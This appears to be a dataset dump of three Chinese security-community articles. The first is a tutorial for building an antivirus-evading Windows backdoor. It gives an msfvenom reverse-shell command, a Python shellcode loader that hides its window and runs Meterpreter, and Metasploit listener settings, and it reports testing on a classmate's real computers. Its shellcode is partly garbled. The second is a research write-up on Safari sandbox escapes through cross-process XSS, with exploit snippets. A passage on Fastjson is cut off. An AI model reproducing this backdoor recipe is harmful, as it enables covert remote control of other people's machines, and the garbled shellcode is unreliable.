text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 前言
致谢Slyon表哥，谢谢表哥一直愿意教我这个垃圾。
* * *
# 前提准备
**环境准备：**
* Windows7 32 位系统
* Shellcode 使用 kali linux Metasploit 生成 shellcode
**Windows7 需要安装的软件：**
* Python2.7
* pip install pyinstaller
* pip install pywin32
* VCForPython27.msi(微软官网可以下载)
* * *
# 制作流程
## 1\. 查IP地址
查看自己的使用监听MSF的IP地址 10.1.5.10
* * *
## 2\. 生成shellcode
红色字体需要修改成自己的ip地址和需要监听的端口号。
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp_uuid LPORT=``x`` LHOST=``x.x.x.x`` -e x86/shikata_ga_nai -i 11 -f py -o samny.py
* * *
## 3\. 替换shellcode
buf= b""buf = b""
buf += b"\xb8\x99\xfb\x4d\xa7\xd9\xea\xd9\x74\x24\xf4\x5f\x23"
buf += b"\xc9\xb1\xa2\x83\xef\xfc\x31\x47\x0e\x03\xde\xf5\xaf"
************省略内容，替换内容************
from ctypes import *
import ctypes
buf = b""
buf += b"\xb8\x99\xfb\x4d\xa7\xd9\xea\xd9\x74\x24\xf4\x5f\x23"
buf += b"\xc9\xb1\xa2\x83\xef\xfc\x31\x47\x0e\x03\xde\xf5\xaf"
buf += b"\x52\x3b\xc4\xe9\xe9\x9f\x23\x53\xac\x06\x9c\x45\x85"
buf += b"\x89\xea\x37\xbe\x6a\x2e\x33\xf0\x1e\xbb\x3f\x80\x13"
buf += b"\x76\xeb\x89\x4d\x9a\x48\xf1\xb3\x91\xcb\x32\x45\x2e"
buf += b"\x4b\xdc\x96\x67\x9f\xb6\x14\x0a\x31\x26\x1a\xb8\xbd"
buf += b"\xc1\xf5\x5d\x20\xcf\x4c\x95\x41\x7f\x19\xd2\x76\x96"
buf += b"\x98\x6c\x89\x5b\x10\xb4\xfd\xf5\x2f\x4c\x78\x2f\xa0"
buf += b"\x94\x1a\xbe\x0c\xbb\x5b\xfc\xeb\x81\x29\x54\x6e\x0c"
buf += b"\x16\x91\xca\xdd\x71\x58\x89\x2f\xf3\x08\x08\x9e\xb8"
buf += b"\xe2\xf5\x27\xb6\xb9\x31\x3c\xa7\x94\x90\x8c\xc6\x9d"
buf += b"\x57\xd1\x11\x70\xed\x65\xf1\x3a\xc4\x15\x43\xba\x03"
buf += b"\x97\xae\x81\x06\x77\x3e\xb0\xd0\xae\x99\x63\x1e\x3d"
buf += b"\x80\x33\xac\x8b\xbb\x56\xb5\xc1\x4d\x5d\xab\x20\x34"
buf += b"\xcd\x6c\x70\x0d\x85\x7b\xc0\x5d\xcc\xf6\x2d\xc0\x2b"
buf += b"\x34\xa4\xc0\x0b\x1d\xee\xd8\xa3\xcb\x6d\xbe\x43\x37"
buf += b"\x1d\xb6\x21\xa3\x2da\x20\x216\x89\x51\x2f\x01\x11\x97"
buf += b"\x09\xbb\x54\x12e\xe8\x13\xeb\x02\x12\x01\x0f\xc1\x4e"
buf += b"\xf3\xe4\x4w22\x1a\xa2\x38\x11\xb23\x4c\x76\x47\x11\x4e"
buf += b"\xc8\xc6\x8swd\xed\xbc\x08\x9c\x65\xf8\x38\xf7\x00\x34"
buf += b"\x34\x4e\xef\ax83\xqdsaff\x97\x8c\xde\x0c\x0e\xa4\xa4\x01"
buf += b"\xc5\xd3\x61\x79\x83\qwx07\xec\x81\x04\x49\x8e\x9e\x10"
buf += b"\xe8\xce\x64\x49\xb9\xc8\xc1\xdf\x4d\x7b\x9e\x6d\x94"
buf += b"\x12\x50\xfc\x49\x8c\x17\x8a\x57\x69\xab\x2d\x85\x98"
buf += b"\x52\x37\x11\xc9\x9f\x60\xed\x17\x31\x16\x4b\xae\x0e"
buf += b"\xd4\x23\xef\x71\xd3\xc8\x35\x4b\x4w3\x3e\x7c\x39\x7c"
buf += b"\x68\x60\x5b\x23\xc8\xab\x45\xa5\xe7\xef\x39\xd7\xad"
buf += b"\xa6\xe7\x36\x6e\xa7\xef\xba\x01\x2e\x76\xa3\x0a\x79"
buf += b"\xc5\xb7\x3d\xfa\xd1\xf7\xc7\x40\x30\x50\x95\x30\xdb"
buf += b"\x13\x09\x91\x2f\x76\x91\x61\x9b\xea\x20\x5a\x0d\x5b"
buf += b"\xa6\x96\xba\xac\xaf\x28\x1e\x2c\x33\x99\x8f\x00\x1d"
buf += b"\x79\xec\x8a\x9b\xaa\xc4\xe8\x23\x50\xe6\xa9\xc8\xeb"
buf += b"\x2b\x48\xc0\xe4\xfc\x93\x66\x9a\x44\xd4\xe3\xf7\x72"
buf += b"\xdd\x26\x45\xb1\xec\x7c\xaf\x65\xd6\xf8\x53\xd0\xa8"
buf += b"\x16\x9e\x39\xc6\x6c\xc1\x66\xf7\x28\xc7\x11\x52\xc9"
buf += b"\xb9\x2e\xce\xec\x6c\xae\xe7\x55\x72\x89\xc0\x12\x92"
buf += b"\x9b\x33\x0a\x1e\xe6\xc0\x91\xb6\x68\xf6\x26\xa5\xaa"
buf += b"\x5d\xca\xd4\x60\x1d\x70\xde\xd8\x13\xad\x9c\xea\xa3"
buf += b"\xe4\xbb\xdb\x3c\x27\x27\x50\xf9\x07\xe3\xa8\x04\xb5"
buf += b"\xe9\xff\xd5\x5a\x51\x69\x33\x99\x5b\x27\x85\xcd\x36"
buf += b"\x35\x22\xa9\x4f\xc6\x0d\xed\xf3\x40\xaa\x7b\x8e\xdb"
buf += b"\xd8\xc9\x2b\x19\x78\x5a\x91\x61\x63\xf0\xae\x05\xcd"
buf += b"\x28\xeb\x35\x15\x12\x67\x04\xb1\x93\xe8\x34\xc1\xc5"
buf += b"\x21\xbf\x47\xb4\x15\x22\xbe\xb0\x0f\x43\x9d\xc4\x11"
buf += b"\xe8\x92\x97\xfb\x75\xc7\x23\x70\xf3\x86\xcf\x55\xc4"
buf += b"\xc0\xa6\x1a\x10\xab\xe9\xc1\xee\xf9\x13\x9c\xa0\xf9"
buf += b"\xea\x1c\xaa\xasd1c\xbe\x6b\xe2\x8c\x91\x30\xbf\x20\x05"
buf += b"\x3a\x82\x0f\x43\xe4\x4c\qwx54\x23\x26\xe4\x97\xc8\x5a"
buf += b"\xd8\x6d\x5a\x74\x20\x51\x1c\xb9\x42\x3a\x2d\x96\xdd"
buf += b"\x23\x3f\x72\xd6\x31\xe8\x67\x9c\xc8\xe5\x0b\x5e\xd7"
buf += b"\xbd\xdf\x97\x96\x01\x44\x19\x78\x16\xd1\x45\xe7\xcd"
buf += b"\x18\x1c\xb6\x84\xa8\x06\x3e\xe1"
PROT_READ = 1
PROT_WRITE = 2
PROT_EXEC = 4
def executable_code(buffer):
buf = c_char_p(buffer)
size = len(buffer)
addr = libc.valloc(size)
addr = c_void_p(addr)
if 0 == addr:
raise Exception("Failed to allocate memory")
memmove(addr, buf, size)
if 0 != libc.mprotect(addr, len(buffer), PROT_READ | PROT_WRITE | PROT_EXEC):
raise Exception("Failed to set protection on buffer")
return addr
VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
VirtualProtect = ctypes.windll.kernel32.VirtualProtect
shellcode = bytearray(buf)
whnd = ctypes.windll.kernel32.GetConsoleWindow()
if whnd != 0:
if 666==666:
ctypes.windll.user32.ShowWindow(whnd, 0)
ctypes.windll.kernel32.CloseHandle(whnd)
memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
old = ctypes.c_long(1)
VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)),0x40,ctypes.byref(old))
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell),
buf,
ctypes.c_int(len(shellcode)))
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
shell()
* * *
## 4\. 制作后门程序
图标可以自己选择替换
* * *
## 5\. 测试
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp_uuid
set lhost 192.168.23.129
set lport 8888
set EnableStageEncoding true
set StageEncoder x86/fnstenv_mov
测试系统版本如下：
* Windows 7(32位和64位)
* Windows server 8
* Windows 10 1903
* 真实环境也测试成功，利用同学的电脑Windows 7和Windows 10均能成功。
* * *
# 在线查杀结果
<http://r.virscan.org/language/zh-cn/report/5587ae4565ebc058d2b7846eeb12b27a>
* * *
# 意料之外的坑
1\. 环境不对，最后我特意去下载Windows 7（32位）镜像安装一个虚拟机才成功。本机缺少某种环境，但是始终找不到，最后无奈之举才得以如此。
2\.
最新版的kali无法弹shell，这一步卡了我很久很久，最后我用[Pentestbox](https://blog.csdn.net/sun1318578251/article/details/90733372)里面的msf监听端口才得以成功。
* * *
# 参考
<https://blog.csdn.net/qq_41770175/article/details/98475696>
<https://secquan.org/Discuss/906>
<https://www.cnblogs.com/backlion/p/6785870.html>
* * *
# 声明
本文中提到的shellcode仅供研究学习使用，请遵守《网络安全法》等相关法律法规。 | 社区文章 |
**作者：菜丝@蚂蚁安全实验室
公众号：[蚂蚁安全实验室](https://mp.weixin.qq.com/s/oUp99tATgNNVu0uyZSD9FA)**
## 1.前 言
相信读者对 XSS 早已不陌生。通常谈论 XSS 的时候大多是针对 Web 安全领域的攻防和利用，而在客户端中也可能出现对输入处理不当而造成的
XSS。蚂蚁安全光年实验室近日在 BlackHat EU 2020 上发表的议题 Cross-Site Escape: Pwning macOS
Safari Sandbox the Unusual Way 就展示了一种针对 Safari 浏览器沙箱的绕过思路，将 Web
安全老生常谈的攻击方式移植到一个看上去毫不相干的领域，将进程间通信（IPC）的安全问题转化成跨组件的 js
脚本注入，最后完全绕过浏览器沙箱获得完整的代码执行权限。
由于浏览器功能复杂、迭代迅速，很容易出现内存安全相关的漏洞，因此沙箱（sandbox）成为了现代浏览器的标准配置。简单来说就是把渲染引擎等逻辑装进一个被“笼子”关起来的进程，即使攻击者利用漏洞获得了任意代码执行，接下来仍然要做额外的工作从沙箱里逃逸出来，才能真正访问到有价值的信息。常规的沙箱逃逸多是利用进程间通信机制，或可访问到的内核、驱动等组件，在权限更高的进程或者直接内核当中触发其他内存安全问题，从而关闭沙箱或者启动一个不受限制的进程，形成完整的攻击链条（fullchain
exploit）。
而我们的议题富有创意地在 XSS
的老树上开出了新花，嫁接到沙箱逃逸的场景中实现了稳定的利用，而且完全避开当下系统针对内存安全漏洞所引入的各种缓解措施（mitigation）。因为这些缓解措施并不是针对此类问题而设计的，两者不在同一个战场上。
## 2.跨进程 XSS？
通常 XSS 指的是通过 HTTP 协议等输入向量，将恶意代码（如 Javascript 或者 HTML
片段）注入到本不应该受攻击者控制的站点内容当中，从而绕过同源策略（Same-Origin
Policy）窃取用户凭据的攻击手法。这种攻击可以追溯到二十世纪九十年代，常年雄踞 OWASP 的十大 Web 安全威胁榜单。
结合浏览器漏洞的场景，又有 UXSS（Universal XSS）的攻击方式。XSS 通常出现在服务器后端或者网页前端脚本，而 UXSS
主要基于客户端浏览器（或扩展）的漏洞，从而篡改浏览器预定的行为和绕过安全限制。通常在没有启用站点隔离（Site-Isolation，Chrome
的安全特性）的浏览器中，同一个渲染器进程可以同时处理多个域名，因此同源策略是在进程内通过特定的访问控制策略保证的。
有时浏览器在处理特定的 DOM
或者网络接口存在逻辑缺陷，可能导致不同站点的数据可以相互访问，或注入脚本到不同的域名上下文中；有时特定的浏览器上下文配置会默认允许关闭同源策略检测，例如
Android系统WebView可以使用 setAllowUniversalAccessFromFileURLs 等配置对 file
域开启同源策略例外，对应的 iOS 下 UIWebView 则直接默认启用了类似的策略，只要是 file://
域下的页面，一律不限制同源策略；而在出现了内存破坏漏洞，导致恶意网页具有内存读写权限的前提下，攻击者的脚本可以修改进程内的特定标志位实现 UXSS。
在这篇议题当中借鉴了 XSS 注入 javascript 的思路，但输入向量不是 Web 协议，而是本地进程之间的跨进程通信（IPC）。例如反射型 XSS
通常会将恶意的脚本或者 HTML 直接附在 GET 请求的 query string 当中，让脚本在目标站点域执行；而类似的，本文的一些案例通过
XPC（macOS 和 iOS 下的进程通信）接口，从浏览器的沙箱进程内发起调用，诱导其他高权限系统服务渲染攻击 HTML，从而在没有沙箱限制的
WebView 里运行恶意脚本，最终获得完整权限的本地代码执行（即沙箱逃逸）。和 UXSS 相比，虽然都是本地的攻击，但 UXSS
仍然在进程内，而本文的思路则实现了跨进程、跨安全边界的代码注入。
以下表格简单比较了这种攻击的特点：
| XSS | 跨进程 js 注入
---|---|---
输入向量 | HTTP 协议 | 跨进程通信
对象 | 其他域名 | 高权限本地进程
载荷 | 提取登录凭据或直接发起请求伪造 | 在高权限 WebView 执行本地代码
最终目的 | 绕过同源策略 | 浏览器渲染器沙箱逃逸
**因此这种攻击的思路大体如下：**
1.拥有一个完整的 WebKit 远程代码执行漏洞，用以触发后续逃逸操作。
2.找到浏览器沙箱可以交互的系统服务，使用系统服务当中的逻辑缺陷向其他本地进程注入 js 代码。
3.被注入 js 的进程和存在逻辑缺陷的系统服务不一定是同一个。
4.在高权限进程当中通过再次利用 WebKit 漏洞，甚至进程自身的特殊功能，获得无沙箱限制的命令执行。
## 3.WebView
既然要在不同上下文当中运行 js 脚本，就得在高权限进程当中找到可以渲染 HTML 和执行 js 的地方。
macOS 上支持 HTML 渲染的组件非常多。像 Finder、Spotlight、Dictionary、HelpViewer、iBooks 甚至
iMessage 当中都用到了 WebView 组件。WebView 分为两种，历史遗留（legacy）的 WebView 和 macOS 10.10
后引入的 WKWebView。前者不支持进程隔离（没有 sandbox），不支持 JIT（即时编译），在 SDK 中标记为已废弃。而 WKWebView
是目前推荐的嵌入 Web 内容的方式。因为使用了多进程，从攻击角度来说和 Safari 完全一致。
两种 WebView 都提供了一些机制来实现 Objective-C 和 javascript 互相调用，但实现上不同。WKWebView 因为用了
IPC，就只支持异步的 messageHandler 委托；历史遗留的 WebView 则提供更强大的接口，可以直接把 Objective-C
的对象、方法暴露给 js，也支持同步调用。其实 WKWebView 提供了一种叫做 InjectedBundle
的机制，可以在渲染器进程里直接加载二进制插件，从而暴露更多的 JSContext 功能。但由于系统签名机制，沙箱进程 WebContent
不允许载入第三方签名的模块，因此只有 Apple 自己用到了这项功能，也没有在开发者文档中提到。
这些不是 Safari，本身又用到了 HTML 渲染的进程，便是本议题的攻击目标。一些 WebView 使用的老式的接口，没有进程隔离。假设我们有一个非
JIT 的浏览器漏洞，直接通过客户端 xss 在这些 WebView 里运行利用，即可获得没有限制的任意代码执行；更有甚者，一些 WebView 本身向
js 暴露了接口，使得我们不需要重复使用 WebKit 的漏洞，而是简单调用便可以执行任意本地代码。
**如果上面的描述让人昏昏欲睡，话不多说，我们直接来看漏洞案例。**
**cfprefsd TOCTOU 沙箱逃逸**
这个问题没有分配 CVE。笔者在 10.13 上发现，但在当时的 10.14 开发者测试版上已经被修复了。复现很简单：
1. 在 macOS <= 10.13.6 系统上。
2. 关闭 SIP，以便可以调试系统自带应用。
3. 附加到任意一个 WebContent 进程，输入 po (id)CFPreferencesCopyAppValue(@"CFBundleGetInfoString", @"/Applications/Calculator.app/Contents/Info")。
4. 灵异事件发生了。按照沙箱规则，这个路径本该无法读取，却成功地返回了内容。不仅可以读，换成写操作也没有问题。
漏洞成因在于 CoreFoundation 当中的一段逻辑问题。Preferences 系列 API 用来持久化程序偏好信息，通过 plist 格式将
Objective C 当中的数据类型和键值对等信息保存到路径。但实际上对路径的读写操作不是在进程内完成的，而是通过一个 cfprefsd
进程作为代理，将读写操作使用 XPC 传递。cfprefsd 服务本身对读写操作有权限检查，但问题出在沙箱的状态的判定上。一个进程在访问过
Preferences 之后，如果进程没有 sandbox，那么 cfprefsd 会对其做一个标记。在此之后，所有的权限检查都会优先判断这个标记。
void __cdecl ___CFPrefsMessageSenderIsSandboxed_block_invoke(Block_layout_1D3750 *block, _CFPrefsClientContext *ctx)
{
if ( ctx->_sandboxed != NULL ) {
*(*(block->lvar1 + 8) + 24) = ctx->_sandboxed == kCFBooleanTrue;
} else {
*(*(block->lvar1 + 8) + 24) = sandbox_check(block->pid, 0, SANDBOX_CHECK_NO_REPORT) != 0;
ctx->_sandboxed = *(*(block->lvar1 + 8) + 24LL) ? &kCFBooleanTrue : &kCFBooleanFalse;
}
}
这就造成了一个 Time-of-check-time-of-use（TOCTOU）的问题。
在 mac 系统下，一个进程可以动态地给自身加上沙箱锁定状态。这个 API
是单向的，即进入沙箱之后就无法解除这个状态（除非有内核漏洞）。假设一个进程先访问了 Preferences，然后进入沙箱，此时在 cfprefsd
服务的眼里，进程仍然是之前缓存的那个“没有沙箱”的状态，从而畅通无阻。
而 WebKit 的渲染器进程不巧在默认情况下就满足这个条件。
在初始化阶段，WebKit 不会加载任何第三方的内容，因此这时候不需要沙箱也是合理的。WebKit 当中引用到了一个 AppKit
的库，这个库在进程初始化的时候会读取一些 Preferences 信息，也就在 cfprefsd 留下了访问记录。接着 WebKit 调用
sandbox_init_with_paramaters 进入锁定状态并加载网页。这时候攻击者通过渲染引擎漏洞获得了在 sandbox
内执行任意代码的能力，访问 Preferences API。cfprefsd 仍然认为渲染器是一个正常进程，允许读写任意路径的 plist
文件，除非对应路径需要 root 权限。
到这一步其实已经可以通过修改 plist 在 sandbox 外触发代码执行了。macOS 在开机时会加载 ~/Library/LaunchAgents
当中的启动项，使用这个漏洞添加启动项便可同时实现逃逸沙箱和持久化。但是缺点显而易见，就是需要一次注销或者重启。
借助跨进程 XSS，我们找到了一种立即执行任意命令的方法。
macOS 曾经有一个叫 Dashboard 的功能，在一个独立的桌面上运行一些 HTML 编写的小组件（widget）。这个功能在 10.15
当中被删除，由桌面右侧的“今天”视图（Today Widgets）替代。
回到当时的系统中。
Dashboard Widgets 保存在如下路径：
· /Library/Widgets 系统预装
· ~/Library/Widgets 用户下载安装
一个 widget 是一个包（bundle），也就是带有特定结构的目录，目录的扩展名为 .wdgt。它由元数据 Info.plist、图标和至少一个
HTML 文件作为主体。WebContent 进程沙箱提供了一个可以写入文件的临时目录，可以释放一个完整的 wdgt 包。再通过前面提到的cfprefsd
漏洞篡改 com.apple.dashboard 域下的设置，从而让 Dashboard 加载来自临时路径的恶意 widget，实现从 WebKit 沙箱到
Dashboard 的跨进程 xss。
Dashboard 的 WebView 是一个典型的遗留组件，没有沙箱隔离，因此任何一个非 JIT 的漏洞都可以直接利用后拿到
shell。但当我们可以注入任意小插件的时候，事情变得更简单了。在 .wdgt 的 Info.plist 当中有一个 AllowSystem
属性，一旦设置为 true，js 的上下文中便会提供一个 window.widget.system 的函数。顾名思义，就是执行任意系统命令：
window.onload = function () {
widget.onshow = function () {
widget.system('/usr/bin/open -a Calculator');
}
}
接下来还有一些问题亟待解决。假如系统把 Dashboard 关闭了怎么办？还有在通过漏洞安装了任意 widget 之后，如何才能激活代码执行的事件？
通过分析 WebContent 沙箱，我们发现这样一个系统服务允许访问：
(global-name "com.apple.dock.server")
这个 Dock 服务正好通过 MIG 提供了启用 Dashboard 和切换桌面的功能。更方便的是，在 HIServices.framework
当中提供了一些私有函数，可以帮助构造并发送具体的 Mach Message。
使用如下两行代码便可以强制开启 Dashboard（即使之前被系统设置禁用），然后模拟用户手势滑动到 Dashboard 的桌面：
CoreDockSetPreferences((__bridge CFDictionaryRef) @{@"enabledState" : @2});
CoreDockSendNotification(CFSTR("com.apple.dashboard.awake"));
## 4.HelpViewer 的又一次陷落
这个案例的发现颇有一些喜剧色彩。
在距离 2019 年的天府杯还有一个多月，笔者突然发现 mac 10.15
开发者测试版中将准备好的沙箱逃逸漏洞的其中一环修补掉了（这个利用链条将在稍后分析），只能在极短时间内再争取一个新的方案。
这时笔者盯上了 Project Zero 之前的一个经典案例 CVE-2017-2361。在 issue 1040 中，lokihardt 通过特殊的
URL scheme 打开本地预装应用 HelpViewer，触发一个反射型 xss，从而得到特权上下文中执行 Apple Script 的能力，只用一个
xss 实现了完整的远程代码执行。这个漏洞当时也由 redrain 独立发现，被撞掉了。
既然时间所剩无几，不如看看有没有找到变种的机会。
Safari 在跳转本地应用的时候需要弹窗确认。但通过逆向发现，浏览器内部维护了一个信任名单列表：
@"itms-books",@"itms-bookss", @"ibooks", @"macappstore", @"macappstores",
@"radr", @"radar", @"udoc", @"ts", @"st", @"x-radar", @"icloud-sharing",
@"help", @"x-apple-helpbasic" count:19];
只要目标 URL 的 scheme 在其中，而且数字签名来自 Apple，就不会询问用户而直接跳转过去。其中的 x-apple-helpbasic
引起了笔者的注意。这个 URL 仍然链接到 HelpViewer，由函数 -[HVBasicURLHandler process:] 处理。
if ([url.scheme isEqualToString:@"x-apple-helpbasic"] &&
[url.host hasSuffix:@".apple.com"] &&
[HelpApplication
sharedApplication].isOnline)
只要 URL 的域名满足 *.apple.com，就会打开对应的 https 页面。例如x-apple-helpbasic://www.apple.com/aaa，将访问 <https://www.apple.com/aaa>
由于用到了加密，我们无法通过 Wi-Fi 劫持的方式篡改返回的内容，从而寄希望于真正意义上的 xss 或者 open redirection
问题。在找到这段代码的时候距离比赛仅有不到一星期，凭着碰运气的心态开始手工挖掘 Web 漏洞。
苹果官网有一个叫 Apple web server notifications
的页面，罗列了服务端相关的修复公告和致谢，包括具体的域名。这其实给前期的信息收集带来了很大方便。运气爆棚的是，笔者仅靠 Google Dork 和 F12
的原始办法，不到一天时间便找到了一个符合要求的 DOM xss。
通过这个客户端和服务端结合的问题，我们从浏览器直接跳转到了 HelpViewer 应用当中。很可惜，正如这个 URL
名字所暗示的那样，这是一个仅具备基本功能的界面，此前的 Apple Script 功能并不能使用。其实到这一步已经结束了，沙箱确实没了。只要再来一个 DOM
浏览器漏洞，即可实现 fullchain exploit。
那么逻辑的方式还有没有做其他事的可能？
在 -[HVBasicWindowController
webView:decidePolicyForNewWindowAction:request:newFrameName:decisionListener:]
里，遇到无法处理的 URL，就会调用 -[NSWorkspace openURL:] 打开文件，也就相当于运行本地程序。很可惜一开始注入 xss 的页面是
https:// 协议，按照 WebKit 的同源策略限制，是不允许直接跳转到 file:/// 域下的，否则我们就可以直接将 location 指向
Calculator.app 直接运行计算器了。不过弹其他的 URL 没有限制，例如 ssh:/// 可以打开一个终端应用尝试连接远程服务器。
**另外在 HelpViewer 当中实现了数个 NSURLProtocol 的子类：**
· HVHelpTopicsURLProtocol (x-help-topics:)
· HVHelpContentURLProtocol (apple-help-content:)
· HVHelpURLProtocol (help:)
请不要和之前提到的应用跳转 URL 混淆。虽然都是 help: 开头，但这里的 URL 是用来处理资源加载，调用对应的 URLProtocol
类当中的方法，将 HTTP 响应内容替换成自定义的返回值。在方法 -[HVHelpURLProtocol startLoading] 当中，会将 URL 的
pathname 转换成本地的路径，直接读取文件进行返回。例如 help://anything/etc/passwd 会替换成对 /etc/passwd
的访问。
之前提到我们不能跳转到 file:/// 域下，而 help:// 就没有这个限制。可以结合其他条件，让 macOS
将远程文件挂在到一个本地可预测的路径，通过访问这个 help://anything/some/path.html，即可获得全盘文件读取的能力。在 macOS
<= 10.14 的系统上可以用 /net/hostname/pathname 这样的路径自动挂载远程服务器上的
NFS，完成利用。正是因为这个特性的安全风险，mac 在 10.15 之后默认注释掉了 /etc/auto_master 当中挂载 NFS 的能力。
笔者做了另一种尝试。之前提到这个 WebView 可以不受限制地打开除 file:/// 之外的本地 URL scheme，可以使用
smb://user:passwd@host/path 让 Finder 加载一个远程 samba 资源。假设成功后，会使用 /Volumes/path
作为挂载点，也就完成了从 https:// 到 help:// 域的转换，从而读取全盘本地文件。不过实际操作过程中 Finder
会弹出一个确认框询问是否打开 samba 路径，需要一次额外的用户确认。
还是直接 DOM RCE 好使……
## 5.Dictionary XSS 到命令执行
mac 系统有一个自带的词典应用，词条的界面实际上是基于 WebView 渲染的 HTML。通常情况下 Dictionary
不会随意加载第三方网页，除了这一次。这一串漏洞利用便是前文提到的，在天府杯前两个月被修补掉的问题。
在 Safari 的沙箱配置文件中有这样一个服务：
(global-name "com.apple.mobileassetd")
服务访问的对象是 mobileassetd 进程。其实除了系统软件版本更新之外，一些资源文件（assets）会定期从 apple 官方网站通过 OTA
的方式更新。这些文件存在 /System/Library/Assets(V2?) 目录下，通常受到 SIP 保护，即使有 root 权限也无法修改，只有
mobileassetd 等特殊权限的进程才可以更新。这类资源包括词典、字体等不可执行的文件，访问它们要用到私有 API 框架 MobileAsset
当中的 ASAssetQuery 和 ASAsset 类。
首先我们创造一个查询实例，获得其 results 数组，当中便是所有的 ASAsset 对象：
const static NSString *kVictim = @"com.apple.dictionary.AppleDictionary";
[[ASAssetQuery alloc] initWithAssetType:kType];
[query runQueryAndReturnError:&err];
NSArray *results = [query results];
通过修改 ASAsset 对象的如下属性，并执行其 beginDownloadWithOptions: 方法，可以诱导 mobileassetd
从任意网址下载资源并替换本地的文件：
· __BaseURL
· __RelativePath
· __RemoteURL
· _DownloadSize（压缩包的大小）
· _UnarchivedSize（解压后的大小）
· _Measurement（校验值）
到这一步我们正好可以在 Safari 的沙箱内通过强制 OTA 的方式，让系统下载任意的词典资源，我们便有机会向 Dictionary.app 当中注入任意
js 代码了。
来看看 Dictionary 里可以干什么。
a = document.createElement('a');
a.href = 'file:///Applications/Calculator.app';
a.click()
这一段代码匪夷所思地可以从 Dictionary 的 WebView 里直接运行计算器。而 location 赋值跳转的方式并不起作用，为什么？
让我们来到这个函数 -[DictionaryController
webView:decidePolicyForNavigationAction:request:frame:decisionListener:]:
element = action[WebActionElementKey];
url = element[WebElementLinkURLKey];
if (!url)
url = action[WebActionOriginalURLKey];
...
[[NSWorkspace sharedWorkspace] openURL:url];
这个方法处理 WebView 的跳转事件，真对 WebActionElementKey 的情况来取出 URL，最后用 -[NSWorkspace
openURL:] 方法执行本地应用，也就是只处理了表单提交、链接点击等事件，而不管 location 的跳转。如果只熟悉
XSS，而不对程序进行逆向，就可能错过这个点。
再看前面 mobileassetd 的漏洞可以在后台下载解压任意文件。一个很有利的点在于，通过 OTA 方式下载的文件和浏览器下载不同，不会给文件打上“来自
Internet”的标记。假如里面包含可执行的应用，运行的时候不会触发 GateKeeper 检查，直接运行。因此直接编译一个可执行的 .app
文件包含在词典的包当中，再通过这个跳转漏洞直接打开即可绕过沙箱执行任意命令。
在 macOS 10.15 开发者测试版上，这个打开 URL 的操作被修复过了，只有 http 和 https URL
才会允许打开，也导致了我们之前的利用代码栽在了最后一步命令执行上。假设仍然在 10.14
存在问题的版本，这中间显然还有一段缺口没解决。我们可以在沙箱里任意下载替换词典，那么怎么样才可以从浏览器沙箱里直接打开词典？
虽然 dict:///apple 的 URL scheme 可以直接跳转到某个词条，但 dict:
不在我们前文提到的信任名单中，浏览器会询问用户。这时候就要请出一个小功能的帮忙了。
如图所示，mac 下的浏览器可以直接通过 ForceTouch 的方式打开一个浮动窗口，就是一个精简版的 Dictionary 界面。这个界面来自
LookupViewService 进程，也是一个 WebView。
通过阅读 WebView 的源代码，笔者找到一个叫做
WebKit::WebPage::performDictionaryLookupOfCurrentSelection() 的方法。这个方法可以在
WebProcess（沙箱中）通过 WebKit 内置的进程间通信发送给主进程，接着主进程就会打开 LookupViewService
界面载入指定单词的解释。这个过程不需要用户确认，因此我们获得了第一个跨进程 XSS。
在 LookupViewService 中注入任意 js 代码之后，通过一行简单的 location 跳转即可打开 Dictionary，触发第二次跨进程
XSS：
location = "dict://ExploitStage2"
这时用前文提到的漏洞执行词典当中包含的恶意 app 即可。
有趣的是，在这个漏洞链条当中用到的三个中间进程——mobileassetd、LookupViewService 和 Dictionary.app
全都是有各自的沙箱的。这又得说到 NSWorkspace 启动进程的特点上。通过 openURL 这种方式运行的 app，最后会调用
LaunchService，启动出来的应用和调用者并不存在父进程子进程的关系，也不会继承前者的 sandbox profile，只要求调用者有 lsopen
权限。而 Dictionary.app 正好满足。
这个 MobileAsset 的漏洞还有一个神奇的副作用。在 mac 上这个 XSS 影响本地的词典应用，而在 iOS
上问题同样存在。在覆盖了本地词典之后，被攻击的 iPhone 在桌面上查询英文单词的定义时，会在 SpringBoard 进程里打开一个词典界面。
由于这个界面所在的进程 SpringBoard 没有沙箱，而且使用到了 UIWebView
进行网页渲染，可以导致恶意脚本可以无限制地使用绝对路径读取本地文件并上传，例如相册和所有的联系人、通话记录和短信。此外，只要有不涉及到 JIT 的
WebKit 浏览器引擎漏洞，攻击者便可以获得沙箱外完整的代码执行权限。这是一个潜在的持久化攻击向量。
我们把这个问题作为附加分析一同报告给了苹果，在 iOS 12 之后换成了更安全的 WKWebView。
## 6.总 结
本议题提出了一种特殊的思路来完成 Safari 浏览器沙箱逃逸，将大家熟悉不过的 XSS 从 Web
领域迁移到跨进程通信的场景上，得到了“老树开新花”的效果。结合其他浏览器渲染引擎漏洞，可实现全链路的利用。
相比流行的思路，纯逻辑漏洞可以获得百发百中的稳定性，以及完全无视针对内存安全问题设计的各种缓解措施。不过，这些漏洞虽然都可以完美利用，但由于涉及跨 App
的跳转等操作，会出现肉眼可感知的现象，对攻击者而言不是最理想的方案。
本文也带来了一些启示。对于开发维护者，历史遗留组件可能拖累整个系统的安全性。如何在保证系统可用性的同时，尽可能地抛弃历史包袱，是一个需要考虑的问题。而对于攻击者来说，跨组件之间小问题的有机结合常常会带来让人意想不到的效果。
## 关于作者
**蚂蚁安全光年实验室** 隶属于蚂蚁安全九大实验室之一，通过对基础软件及设备的安全研究，达到全球顶尖破解能力，致力于保障蚂蚁集团及行业金融级基础设施安全。
因发现并报告行业系统漏洞，蚂蚁安全光年实验室上百次获得Google、Apple等国际厂商致谢。
* * * | 社区文章 |
## 0x00 前言
在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础。利于后面的漏洞分析。
## 0x01 Fastjson使用
在分析漏洞前，还需要学习一些Fastjson库的简单使用。
### Fastjson概述
